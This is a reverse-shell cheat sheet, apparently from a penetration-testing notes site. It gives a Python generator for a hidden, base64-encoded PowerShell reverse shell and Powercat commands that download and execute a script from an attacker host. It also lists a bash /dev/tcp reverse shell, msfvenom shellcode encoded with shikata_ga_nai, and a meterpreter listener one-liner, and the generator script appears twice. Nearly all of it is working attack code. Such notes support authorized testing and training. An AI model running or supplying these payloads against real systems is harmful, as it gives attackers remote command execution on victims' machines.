Reverse Shells

Various reverse shell techniques in fast go cheat-sheet format

PowerShell Base64

Generate base64 encoded payload for reverse shell for windows target.

windows-rev-b64.py

import sys
import base64

def generate_payload(ip, port):
    payload = (
        f"$client=New-Object System.Net.Sockets.TCPClient('{ip}',{port});"
        "$stream=$client.GetStream();"
        "[byte[]]$bytes=0..65535|%{0};"
        "while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){"
        "$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);"
        "$sendback=(iex $data 2>&1 | Out-String);"
        "$sendback2=$sendback+'PS '+(pwd).Path+'> ';"
        "$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);"
        "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};"
        "$client.Close()"
    )
    return payload

def generate_cmd(ip, port):
    payload = generate_payload(ip, port)
    cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
    return cmd

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <ip> <port>")
        sys.exit(1)
    
    ip = sys.argv[1]
    port = sys.argv[2]
    
    cmd = generate_cmd(ip, port)
    print(cmd)

Usage:

python windows-rev-b64.py <local_ip> <local_port>

Powercat

Serve Powercat.ps1

cd /usr/share/windows-resources && python3 -m http.server 80

Start a netcat listener

rlwrap nc -lvnp 4444

Run one of the commands:

powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://<local_host>/powercat.ps1'); powercat -c <local_host> -p <local_port> -e powershell"

IEX (New-Object System.Net.Webclient).DownloadString("http://<local_host>/powercat.ps1");powercat -c <local_host> -p <local_port> -e powershell

Bash pipe

Base64 Encoded Bash - useful for web shells.

echo 'bash -i>& /dev/tcp/<ip>/4444 0>&1' | base64

Msfvenom

Generating shell code

msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f powershell -v sc

Generating obfuscated shell code with bad words:

msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

Start meterpreter listener one-liner

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <LHOST>;set LPORT <LPORT>;run;"

References

PreviousPassword attacks NextPort Forwarding, Tunneling and Pivoting

Last updated 3 months ago

import sys import base64 def generate_payload(ip, port): payload = ( f"$client=New-Object System.Net.Sockets.TCPClient('{ip}',{port});" "$stream=$client.GetStream();" "[byte[]]$bytes=0..65535|%{0};" "while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){" "$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);" "$sendback=(iex $data 2>&1 | Out-String);" "$sendback2=$sendback+'PS '+(pwd).Path+'> ';" "$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);" "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};" "$client.Close()" ) return payload def generate_cmd(ip, port): payload = generate_payload(ip, port) cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode() return cmd if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python script.py <ip> <port>") sys.exit(1) ip = sys.argv[1] port = sys.argv[2] cmd = generate_cmd(ip, port) print(cmd)